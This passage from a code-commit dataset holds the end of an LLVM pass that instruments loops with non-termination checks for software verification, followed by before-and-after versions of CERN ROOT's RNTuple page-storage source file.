else {\n      llvm::errs() << \"ERROR: Unhandled copying: \" << *v << \"\\n\";\n      return false;\n    }\n\n    assert(newVal);\n    mapping[v] = newVal;\n  }\n\n  \/\/ store the state of variables at the loop head\n  for (auto& it : mapping) {\n    auto *LI = new LoadInst(it.first);\n    auto *SI = new StoreInst(LI, it.second);\n\n    header->getInstList().push_front(SI);\n    header->getInstList().push_front(LI);\n  }\n\n  \/\/ compare the old and new values after the iteration of the loop\n  for (auto I = pred_begin(header), E = pred_end(header); I != E; ++I) {\n    auto *term = (*I)->getTerminator();\n\n    \/\/ the state must be stored before any enter ofer,\n    \/\/ but the assertions are inserted only before the\n    \/\/ jumps that come from the loop\n    if (!L->contains(*I))\n      continue;\n\n    \/\/ create an assertion that the values are not all the same\n    \/\/ as the old values (if this assert fails, we found\n    \/\/ a cycle in the state space)\n    Instruction *lastCond = nullptr;\n    for (auto& it : mapping) {\n      auto *newVal = new LoadInst(it.first);\n      auto *oldVal = new LoadInst(it.second);\n      auto *cmp = new ICmpInst(ICmpInst::ICMP_EQ, newVal, oldVal);\n      newVal->insertBefore(term);\n      oldVal->insertBefore(term);\n      cmp->insertBefore(term);\n\n      if (lastCond) {\n        assert(mapping.size() > 1); \/\/ we can get here only after 1 iteration\n        auto *And = BinaryOperator::Create(Instruction::And, lastCond, cmp);\n        And->insertBefore(term);\n        lastCond = And;\n      } else {\n        lastCond = cmp;\n      }\n    }\n\n    assert(lastCond);\n\n    if (!_assert) {\n      auto M = header->getParent()->getParent();\n      auto& Ctx = M->getContext();\n      auto F = M->getOrInsertFunction(\"__INSTR_check_nontermination\",\n                                      Type::getVoidTy(Ctx), \/\/ retval\n                                      Type::getInt1Ty(Ctx)  \/\/ condition\n#if LLVM_VERSION_MAJOR < 5\n                                      , nullptr\n#endif\n                                      );\n#if LLVM_VERSION_MAJOR >= 9\n      _assert = cast<Function>(F.getCallee()->stripPointerCasts());\n#else\n      _assert = cast<Function>(F);\n#endif\n    }\n\n\n    \/\/ insert the assertion that all the values are the same\n    assert(_assert);\n    auto *CI = CallInst::Create(_assert, {lastCond});\n    CloneMetadata(lastCond, CI);\n    CI->insertBefore(term);\n  }\n\n  llvm::errs() << \"Instrumented a loop with non-termination checks\\n\";\n  return true;\n}\n\n\nstatic RegisterPass<InstrumentNontermination> CL(\"instrument-nontermination\",\n                                                  \"Insert trivial checks for state space cycles\");\nchar InstrumentNontermination::ID;\n\n<commit_msg>Improve non-termination check<commit_after>\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\n#include <vector>\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/BasicBlock.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalVariable.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Type.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n\nusing namespace llvm;\n\nbool CloneMetadata(const llvm::Instruction *, llvm::Instruction *);\n\nclass InstrumentNontermination : public LoopPass {\n  bool checkFunction(Function *F);\n  bool instrumentLoop(Loop *L);\n  bool instrumentLoop(Loop *L, const std::set<llvm::Value *>& variables);\n\n  llvm::Value *getOperand(llvm::Value *v) {\n      if (isa<Constant>(v) ||\n          isa<AllocaInst>(v) || isa<GlobalVariable>(v)) {\n          return v;\n      }\n      return nullptr;\n  }\n\n  Function *_assert{nullptr};\n\n  public:\n    static char ID;\n\n    InstrumentNontermination() : LoopPass(ID) {}\n\n    bool runOnLoop(Loop *L, LPPassManager &LPM) override {\n      \/\/ for now, we detect only nested loops\n      if (L->getParentLoop()) {\n          \/\/ run on non-nested loops for now\n          return false;\n      }\n\n      return instrumentLoop(L);\n    }\n};\n\nbool InstrumentNontermination::checkFunction(Function *F) {\n  if (!F) \/\/ call via pointer\n      return false;\n\n  if (F->getName().equals(\"__VERIFIER_assume\") ||\n      F->getName().equals(\"__VERIFIER_assert\") ||\n      F->getName().startswith(\"__VERIFIER_nondet_\"))\n    return true;\n  return false;\n}\n\nbool InstrumentNontermination::instrumentLoop(Loop *L) {\n  std::set<llvm::Value *> usedValues;\n\n  for (auto *block : L->blocks()) {\n    \/\/ check that the loop reads and writes only to known\n    \/\/ locations (allocas and global variables)\n    for (auto& I : *block) {\n      if (auto *CI = dyn_cast<CallInst>(&I)) {\n          if (!checkFunction(CI->getCalledFunction())) {\n            return false;\n          }\n      } else if (auto LI = dyn_cast<LoadInst>(&I)) {\n        if (auto v = getOperand(LI->getPointerOperand())) {\n          if (!isa<ConstantInt>(v)) {\n            usedValues.insert(v);\n          }\n        } else {\n          return false;\n        }\n      } else if (auto SI = dyn_cast<StoreInst>(&I)) {\n        if (auto p = getOperand(SI->getPointerOperand())) {\n          if (!isa<ConstantInt>(p)) {\n            usedValues.insert(p);\n          }\n        } else {\n          return false;\n        }\n      } else {\n        if (I.mayReadOrWriteMemory()) {\n          llvm::errs() << \"WARNING: Unhandled instr: \" << I << \"\\n\";\n          return false;\n        }\n      }\n    }\n  }\n\n  return instrumentLoop(L, usedValues);\n}\n\n\nbool InstrumentNontermination::instrumentLoop(Loop *L, const std::set<llvm::Value *>& variables) {\n  auto *header = L->getHeader();\n  assert(header);\n\n  \/\/ mapping of old to new ones\n  std::map<Value *, Value *> mapping;\n\n  \/\/ for each variable, create its copy in the header\n  \/\/ and store the last recent value from the original\n  \/\/ variable\n  for (auto *v : variables) {\n    \/\/errs() << \"INFO: variable: \" << *v << \"\\n\";\n    Instruction *newVal = nullptr;\n    if (auto *I = dyn_cast<Instruction>(v)) {\n        newVal = I->clone();\n        newVal->insertAfter(I);\n    } else if (auto *G = dyn_cast<GlobalValue>(v)) {\n        \/\/ create a new alloca that\n        \/\/ is going to be inserted at the beginning of the header\n        newVal = new AllocaInst(G->getType()->getContainedType(0)\n#if (LLVM_VERSION_MAJOR >= 5)\n        , G->getType()->getAddressSpace()\n#endif\n        );\n\n        \/\/ puth the alloca on the beginning of the function\n        newVal->insertBefore(header->getParent()->getBasicBlockList().front().getTerminator());\n    } else {\n      llvm::errs() << \"ERROR: Unhandled copying: \" << *v << \"\\n\";\n      return false;\n    }\n\n    assert(newVal);\n    mapping[v] = newVal;\n  }\n\n  \/\/ store the state of variables at the loop head\n  for (auto& it : mapping) {\n    auto *LI = new LoadInst(it.first);\n    auto *SI = new StoreInst(LI, it.second);\n\n    header->getInstList().push_front(SI);\n    header->getInstList().push_front(LI);\n  }\n\n  \/\/ compare the old and new values after the iteration of the loop\n  for (auto I = pred_begin(header), E = pred_end(header); I != E; ++I) {\n    auto *term = (*I)->getTerminator();\n\n    \/\/ the state must be stored before any enter ofer,\n    \/\/ but the assertions are inserted only before the\n    \/\/ jumps that come from the loop\n    if (!L->contains(*I))\n      continue;\n\n    \/\/ create an assertion that the values are not all the same\n    \/\/ as the old values (if this assert fails, we found\n    \/\/ a cycle in the state space)\n    Instruction *lastCond = nullptr;\n    for (auto& it : mapping) {\n      auto *newVal = new LoadInst(it.first);\n      auto *oldVal = new LoadInst(it.second);\n      auto *cmp = new ICmpInst(ICmpInst::ICMP_EQ, newVal, oldVal);\n      newVal->insertBefore(term);\n      oldVal->insertBefore(term);\n      cmp->insertBefore(term);\n\n      if (lastCond) {\n        assert(mapping.size() > 1); \/\/ we can get here only after 1 iteration\n        auto *And = BinaryOperator::Create(Instruction::And, lastCond, cmp);\n        And->insertBefore(term);\n        lastCond = And;\n      } else {\n        lastCond = cmp;\n      }\n    }\n\n    assert(lastCond);\n\n    if (!_assert) {\n      auto M = header->getParent()->getParent();\n      auto& Ctx = M->getContext();\n      auto F = M->getOrInsertFunction(\"__INSTR_check_nontermination\",\n                                      Type::getVoidTy(Ctx), \/\/ retval\n                                      Type::getInt1Ty(Ctx)  \/\/ condition\n#if LLVM_VERSION_MAJOR < 5\n                                      , nullptr\n#endif\n                                      );\n#if LLVM_VERSION_MAJOR >= 9\n      _assert = cast<Function>(F.getCallee()->stripPointerCasts());\n#else\n      _assert = cast<Function>(F);\n#endif\n    }\n\n\n    \/\/ insert the assertion that all the values are the same\n    assert(_assert);\n    auto *CI = CallInst::Create(_assert, {lastCond});\n    CloneMetadata(lastCond, CI);\n    CI->insertBefore(term);\n  }\n\n  llvm::errs() << \"Instrumented a loop with non-termination checks\\n\";\n  return true;\n}\n\n\nstatic RegisterPass<InstrumentNontermination> CL(\"instrument-nontermination\",\n                                                  \"Insert trivial checks for state space cycles\");\nchar InstrumentNontermination::ID;\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/\/ \\file RPageStorageFile.cxx\n\/\/\/ \\ingroup NTuple ROOT7\n\/\/\/ \\author Jakob Blomer <jblomer@cern.ch>\n\/\/\/ \\date 2019-11-25\n\/\/\/ \\warning This is part of the ROOT 7 prototype! It will change without notice. It might trigger earthquakes. Feedback\n\/\/\/ is welcome!\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include <ROOT\/RField.hxx>\n#include <ROOT\/RLogger.hxx>\n#include <ROOT\/RNTupleDescriptor.hxx>\n#include <ROOT\/RNTupleModel.hxx>\n#include <ROOT\/RNTupleZip.hxx>\n#include <ROOT\/RPage.hxx>\n#include <ROOT\/RPageAllocator.hxx>\n#include <ROOT\/RPagePool.hxx>\n#include <ROOT\/RPageStorageFile.hxx>\n#include <ROOT\/RRawFile.hxx>\n\n#include <RVersion.h>\n#include <TError.h>\n\n#include <algorithm>\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <utility>\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleWriteOptions &options)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Recreate(\n      ntupleName, path, options.GetCompression(), options.GetContainerFormat()));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, TFile &file,\n   const RNTupleWriteOptions &options)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Append(ntupleName, file));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleWriteOptions &options, std::unique_ptr<TFile> &file)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Recreate(ntupleName, path, file));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::~RPageSinkFile()\n{\n}\n\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::DoCreate(const RNTupleModel & \/* model *\/)\n{\n   const auto &descriptor = fDescriptorBuilder.GetDescriptor();\n   auto szHeader = descriptor.SerializeHeader(nullptr);\n   auto buffer = std::unique_ptr<unsigned char[]>(new unsigned char[szHeader]);\n   descriptor.SerializeHeader(buffer.get());\n\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[szHeader]);\n   auto szZipHeader = fCompressor(buffer.get(), szHeader, fOptions.GetCompression(),\n      [&zipBuffer](const void *b, size_t n, size_t o){ memcpy(zipBuffer.get() + o, b, n); } );\n   fWriter->WriteNTupleHeader(zipBuffer.get(), szZipHeader, szHeader);\n}\n\n\nROOT::Experimental::RClusterDescriptor::RLocator\nROOT::Experimental::Detail::RPageSinkFile::DoCommitPage(ColumnHandle_t columnHandle, const RPage &page)\n{\n   unsigned char *buffer = reinterpret_cast<unsigned char *>(page.GetBuffer());\n   bool isAdoptedBuffer = true;\n   auto packedBytes = page.GetSize();\n   auto element = columnHandle.fColumn->GetElement();\n   const auto isMappable = element->IsMappable();\n\n   if (!isMappable) {\n      packedBytes = (page.GetNElements() * element->GetBitsOnStorage() + 7) \/ 8;\n      buffer = new unsigned char[packedBytes];\n      isAdoptedBuffer = false;\n      element->Pack(buffer, page.GetBuffer(), page.GetNElements());\n   }\n   auto zippedBytes = packedBytes;\n\n   if (fOptions.GetCompression() != 0) {\n      zippedBytes = fCompressor(buffer, packedBytes, fOptions.GetCompression());\n      if (!isAdoptedBuffer)\n         delete[] buffer;\n      buffer = const_cast<unsigned char *>(reinterpret_cast<const unsigned char *>(fCompressor.GetZipBuffer()));\n      isAdoptedBuffer = true;\n   }\n\n   auto offsetData = fWriter->WriteBlob(buffer, zippedBytes, packedBytes);\n   fClusterMinOffset = std::min(offsetData, fClusterMinOffset);\n   fClusterMaxOffset = std::max(offsetData, fClusterMaxOffset);\n\n   if (!isAdoptedBuffer)\n      delete[] buffer;\n\n   RClusterDescriptor::RLocator result;\n   result.fPosition = offsetData;\n   result.fBytesOnStorage = zippedBytes;\n   return result;\n}\n\n\nROOT::Experimental::RClusterDescriptor::RLocator\nROOT::Experimental::Detail::RPageSinkFile::DoCommitCluster(ROOT::Experimental::NTupleSize_t \/* nEntries *\/)\n{\n   RClusterDescriptor::RLocator result;\n   result.fPosition = fClusterMinOffset;\n   result.fBytesOnStorage = fClusterMaxOffset - fClusterMinOffset;\n   fClusterMinOffset = std::uint64_t(-1);\n   fClusterMaxOffset = 0;\n   return result;\n}\n\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::DoCommitDataset()\n{\n   const auto &descriptor = fDescriptorBuilder.GetDescriptor();\n   auto szFooter = descriptor.SerializeFooter(nullptr);\n   auto buffer = std::unique_ptr<unsigned char []>(new unsigned char[szFooter]);\n   descriptor.SerializeFooter(buffer.get());\n\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[szFooter]);\n   auto szZipFooter = fCompressor(buffer.get(), szFooter, fOptions.GetCompression(),\n      [&zipBuffer](const void *b, size_t n, size_t o){ memcpy(zipBuffer.get() + o, b, n); } );\n   fWriter->WriteNTupleFooter(zipBuffer.get(), szZipFooter, szFooter);\n   fWriter->Commit();\n}\n\n\nROOT::Experimental::Detail::RPage\nROOT::Experimental::Detail::RPageSinkFile::ReservePage(ColumnHandle_t columnHandle, std::size_t nElements)\n{\n   if (nElements == 0)\n      nElements = kDefaultElementsPerPage;\n   auto elementSize = columnHandle.fColumn->GetElement()->GetSize();\n   return fPageAllocator->NewPage(columnHandle.fId, elementSize, nElements);\n}\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::ReleasePage(RPage &page)\n{\n   fPageAllocator->DeletePage(page);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageAllocatorFile::NewPage(\n   ColumnId_t columnId, void *mem, std::size_t elementSize, std::size_t nElements)\n{\n   RPage newPage(columnId, mem, elementSize * nElements, elementSize);\n   newPage.TryGrow(nElements);\n   return newPage;\n}\n\nvoid ROOT::Experimental::Detail::RPageAllocatorFile::DeletePage(const RPage& page)\n{\n   if (page.IsNull())\n      return;\n   delete[] reinterpret_cast<unsigned char *>(page.GetBuffer());\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\nROOT::Experimental::Detail::RPageSourceFile::RPageSourceFile(std::string_view ntupleName,\n   const RNTupleReadOptions &options)\n   : RPageSource(ntupleName, options)\n   , fMetrics(\"RPageSourceFile\")\n   , fPageAllocator(std::make_unique<RPageAllocatorFile>())\n   , fPagePool(std::make_shared<RPagePool>())\n{\n}\n\n\nROOT::Experimental::Detail::RPageSourceFile::RPageSourceFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleReadOptions &options)\n   : RPageSourceFile(ntupleName, options)\n{\n   fFile = std::unique_ptr<RRawFile>(RRawFile::Create(path));\n   R__ASSERT(fFile);\n   fReader = Internal::RMiniFileReader(fFile.get());\n}\n\n\nROOT::Experimental::Detail::RPageSourceFile::~RPageSourceFile()\n{\n}\n\n\nROOT::Experimental::RNTupleDescriptor ROOT::Experimental::Detail::RPageSourceFile::DoAttach()\n{\n   RNTupleDescriptorBuilder descBuilder;\n   auto fNTuple = fReader.GetNTuple(fNTupleName);\n\n   auto buffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fLenHeader]);\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fNBytesHeader]);\n   fReader.ReadBlob(zipBuffer.get(), fNTuple.fNBytesHeader, fNTuple.fSeekHeader);\n   fDecompressor(zipBuffer.get(), fNTuple.fNBytesHeader, fNTuple.fLenHeader, buffer.get());\n   descBuilder.SetFromHeader(buffer.get());\n\n   buffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fLenFooter]);\n   zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[fNTuple.fNBytesFooter]);\n   fReader.ReadBlob(zipBuffer.get(), fNTuple.fNBytesFooter, fNTuple.fSeekFooter);\n   fDecompressor(zipBuffer.get(), fNTuple.fNBytesFooter, fNTuple.fLenFooter, buffer.get());\n   descBuilder.AddClustersFromFooter(buffer.get());\n\n   return descBuilder.MoveDescriptor();\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePageFromCluster(\n   ColumnHandle_t columnHandle, const RClusterDescriptor &clusterDescriptor, ClusterSize_t::ValueType clusterIndex)\n{\n   auto columnId = columnHandle.fId;\n   auto clusterId = clusterDescriptor.GetId();\n   const auto &pageRange = clusterDescriptor.GetPageRange(columnId);\n\n   \/\/ TODO(jblomer): binary search\n   RClusterDescriptor::RPageRange::RPageInfo pageInfo;\n   decltype(clusterIndex) firstInPage = 0;\n   for (const auto &pi : pageRange.fPageInfos) {\n      if (firstInPage + pi.fNElements > clusterIndex) {\n         pageInfo = pi;\n         break;\n      }\n      firstInPage += pi.fNElements;\n   }\n   R__ASSERT(firstInPage <= clusterIndex);\n   R__ASSERT((firstInPage + pageInfo.fNElements) > clusterIndex);\n\n   auto element = columnHandle.fColumn->GetElement();\n   auto elementSize = element->GetSize();\n\n   auto pageSize = pageInfo.fLocator.fBytesOnStorage;\n   auto pageBuffer = new unsigned char[\n      std::max(pageSize, static_cast<std::uint32_t>(elementSize * pageInfo.fNElements))];\n   fReader.ReadBlob(pageBuffer, pageInfo.fLocator.fBytesOnStorage, pageInfo.fLocator.fPosition);\n\n   auto bytesOnStorage = (element->GetBitsOnStorage() * pageInfo.fNElements + 7) \/ 8;\n   if (pageSize != bytesOnStorage) {\n      fDecompressor(pageBuffer, pageSize, bytesOnStorage);\n      pageSize = bytesOnStorage;\n   }\n\n   if (!element->IsMappable()) {\n      pageSize = elementSize * pageInfo.fNElements;\n      auto unpackedBuffer = new unsigned char[pageSize];\n      element->Unpack(unpackedBuffer, pageBuffer, pageInfo.fNElements);\n      delete[] pageBuffer;\n      pageBuffer = unpackedBuffer;\n   }\n\n   auto indexOffset = clusterDescriptor.GetColumnRange(columnId).fFirstElementIndex;\n   auto newPage = fPageAllocator->NewPage(columnId, pageBuffer, elementSize, pageInfo.fNElements);\n   newPage.SetWindow(indexOffset + firstInPage, RPage::RClusterInfo(clusterId, indexOffset));\n   fPagePool->RegisterPage(newPage,\n      RPageDeleter([](const RPage &page, void *\/*userData*\/)\n      {\n         RPageAllocatorFile::DeletePage(page);\n      }, nullptr));\n   return newPage;\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePage(\n   ColumnHandle_t columnHandle, NTupleSize_t globalIndex)\n{\n   auto columnId = columnHandle.fId;\n   auto cachedPage = fPagePool->GetPage(columnId, globalIndex);\n   if (!cachedPage.IsNull())\n      return cachedPage;\n\n   auto clusterId = fDescriptor.FindClusterId(columnId, globalIndex);\n   R__ASSERT(clusterId != kInvalidDescriptorId);\n   const auto &clusterDescriptor = fDescriptor.GetClusterDescriptor(clusterId);\n   auto selfOffset = clusterDescriptor.GetColumnRange(columnId).fFirstElementIndex;\n   R__ASSERT(selfOffset <= globalIndex);\n   return PopulatePageFromCluster(columnHandle, clusterDescriptor, globalIndex - selfOffset);\n}\n\n\nROOT::Experimental::Detail::RPage ROOT::Experimental::Detail::RPageSourceFile::PopulatePage(\n   ColumnHandle_t columnHandle, const RClusterIndex &clusterIndex)\n{\n   auto clusterId = clusterIndex.GetClusterId();\n   auto index = clusterIndex.GetIndex();\n   auto columnId = columnHandle.fId;\n   auto cachedPage = fPagePool->GetPage(columnId, clusterIndex);\n   if (!cachedPage.IsNull())\n      return cachedPage;\n\n   R__ASSERT(clusterId != kInvalidDescriptorId);\n   const auto &clusterDescriptor = fDescriptor.GetClusterDescriptor(clusterId);\n   return PopulatePageFromCluster(columnHandle, clusterDescriptor, index);\n}\n\nvoid ROOT::Experimental::Detail::RPageSourceFile::ReleasePage(RPage &page)\n{\n   fPagePool->ReturnPage(page);\n}\n\nstd::unique_ptr<ROOT::Experimental::Detail::RPageSource> ROOT::Experimental::Detail::RPageSourceFile::Clone() const\n{\n   auto clone = new RPageSourceFile(fNTupleName, fOptions);\n   clone->fFile = fFile->Clone();\n   clone->fReader = Internal::RMiniFileReader(clone->fFile.get());\n   return std::unique_ptr<RPageSourceFile>(clone);\n}\n<commit_msg>[ntuple] minor code improvement (NFC)<commit_after>\/\/\/ \\file RPageStorageFile.cxx\n\/\/\/ \\ingroup NTuple ROOT7\n\/\/\/ \\author Jakob Blomer <jblomer@cern.ch>\n\/\/\/ \\date 2019-11-25\n\/\/\/ \\warning This is part of the ROOT 7 prototype! It will change without notice. It might trigger earthquakes. Feedback\n\/\/\/ is welcome!\n\n\/*************************************************************************\n * Copyright (C) 1995-2019, Rene Brun and Fons Rademakers.               *\n * All rights reserved.                                                  *\n *                                                                       *\n * For the licensing terms see $ROOTSYS\/LICENSE.                         *\n * For the list of contributors see $ROOTSYS\/README\/CREDITS.             *\n *************************************************************************\/\n\n#include <ROOT\/RField.hxx>\n#include <ROOT\/RLogger.hxx>\n#include <ROOT\/RNTupleDescriptor.hxx>\n#include <ROOT\/RNTupleModel.hxx>\n#include <ROOT\/RNTupleZip.hxx>\n#include <ROOT\/RPage.hxx>\n#include <ROOT\/RPageAllocator.hxx>\n#include <ROOT\/RPagePool.hxx>\n#include <ROOT\/RPageStorageFile.hxx>\n#include <ROOT\/RRawFile.hxx>\n\n#include <RVersion.h>\n#include <TError.h>\n\n#include <algorithm>\n#include <cstdio>\n#include <cstdlib>\n#include <iostream>\n#include <utility>\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleWriteOptions &options)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Recreate(\n      ntupleName, path, options.GetCompression(), options.GetContainerFormat()));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, TFile &file,\n   const RNTupleWriteOptions &options)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Append(ntupleName, file));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::RPageSinkFile(std::string_view ntupleName, std::string_view path,\n   const RNTupleWriteOptions &options, std::unique_ptr<TFile> &file)\n   : RPageSink(ntupleName, options)\n   , fMetrics(\"RPageSinkRoot\")\n   , fPageAllocator(std::make_unique<RPageAllocatorHeap>())\n{\n   R__WARNING_HERE(\"NTuple\") << \"The RNTuple file format will change. \" <<\n      \"Do not store real data with this version of RNTuple!\";\n   fWriter = std::unique_ptr<Internal::RMiniFileWriter>(Internal::RMiniFileWriter::Recreate(ntupleName, path, file));\n}\n\n\nROOT::Experimental::Detail::RPageSinkFile::~RPageSinkFile()\n{\n}\n\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::DoCreate(const RNTupleModel & \/* model *\/)\n{\n   const auto &descriptor = fDescriptorBuilder.GetDescriptor();\n   auto szHeader = descriptor.SerializeHeader(nullptr);\n   auto buffer = std::unique_ptr<unsigned char[]>(new unsigned char[szHeader]);\n   descriptor.SerializeHeader(buffer.get());\n\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[szHeader]);\n   auto szZipHeader = fCompressor(buffer.get(), szHeader, fOptions.GetCompression(),\n      [&zipBuffer](const void *b, size_t n, size_t o){ memcpy(zipBuffer.get() + o, b, n); } );\n   fWriter->WriteNTupleHeader(zipBuffer.get(), szZipHeader, szHeader);\n}\n\n\nROOT::Experimental::RClusterDescriptor::RLocator\nROOT::Experimental::Detail::RPageSinkFile::DoCommitPage(ColumnHandle_t columnHandle, const RPage &page)\n{\n   unsigned char *buffer = reinterpret_cast<unsigned char *>(page.GetBuffer());\n   bool isAdoptedBuffer = true;\n   auto packedBytes = page.GetSize();\n   auto element = columnHandle.fColumn->GetElement();\n   const auto isMappable = element->IsMappable();\n\n   if (!isMappable) {\n      packedBytes = (page.GetNElements() * element->GetBitsOnStorage() + 7) \/ 8;\n      buffer = new unsigned char[packedBytes];\n      isAdoptedBuffer = false;\n      element->Pack(buffer, page.GetBuffer(), page.GetNElements());\n   }\n   auto zippedBytes = packedBytes;\n\n   if (fOptions.GetCompression() != 0) {\n      zippedBytes = fCompressor(buffer, packedBytes, fOptions.GetCompression());\n      if (!isAdoptedBuffer)\n         delete[] buffer;\n      buffer = const_cast<unsigned char *>(reinterpret_cast<const unsigned char *>(fCompressor.GetZipBuffer()));\n      isAdoptedBuffer = true;\n   }\n\n   auto offsetData = fWriter->WriteBlob(buffer, zippedBytes, packedBytes);\n   fClusterMinOffset = std::min(offsetData, fClusterMinOffset);\n   fClusterMaxOffset = std::max(offsetData, fClusterMaxOffset);\n\n   if (!isAdoptedBuffer)\n      delete[] buffer;\n\n   RClusterDescriptor::RLocator result;\n   result.fPosition = offsetData;\n   result.fBytesOnStorage = zippedBytes;\n   return result;\n}\n\n\nROOT::Experimental::RClusterDescriptor::RLocator\nROOT::Experimental::Detail::RPageSinkFile::DoCommitCluster(ROOT::Experimental::NTupleSize_t \/* nEntries *\/)\n{\n   RClusterDescriptor::RLocator result;\n   result.fPosition = fClusterMinOffset;\n   result.fBytesOnStorage = fClusterMaxOffset - fClusterMinOffset;\n   fClusterMinOffset = std::uint64_t(-1);\n   fClusterMaxOffset = 0;\n   return result;\n}\n\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::DoCommitDataset()\n{\n   const auto &descriptor = fDescriptorBuilder.GetDescriptor();\n   auto szFooter = descriptor.SerializeFooter(nullptr);\n   auto buffer = std::unique_ptr<unsigned char []>(new unsigned char[szFooter]);\n   descriptor.SerializeFooter(buffer.get());\n\n   auto zipBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[szFooter]);\n   auto szZipFooter = fCompressor(buffer.get(), szFooter, fOptions.GetCompression(),\n      [&zipBuffer](const void *b, size_t n, size_t o){ memcpy(zipBuffer.get() + o, b, n); } );\n   fWriter->WriteNTupleFooter(zipBuffer.get(), szZipFooter, szFooter);\n   fWriter->Commit();\n}\n\n\nROOT::Experimental::Detail::RPage\nROOT::Experimental::Detail::RPageSinkFile::ReservePage(ColumnHandle_t columnHandle, std::size_t nElements)\n{\n   if (nElements == 0)\n      nElements = kDefaultElementsPerPage;\n   auto elementSize = columnHandle.fColumn->GetElement()->GetSize();\n   return fPageAllocator->NewPage(columnHandle.fId, elementSize, nElements);\n}\n\nvoid ROOT::Experimental::Detail::RPageSinkFile::ReleasePage(RPage &page)\n{\n   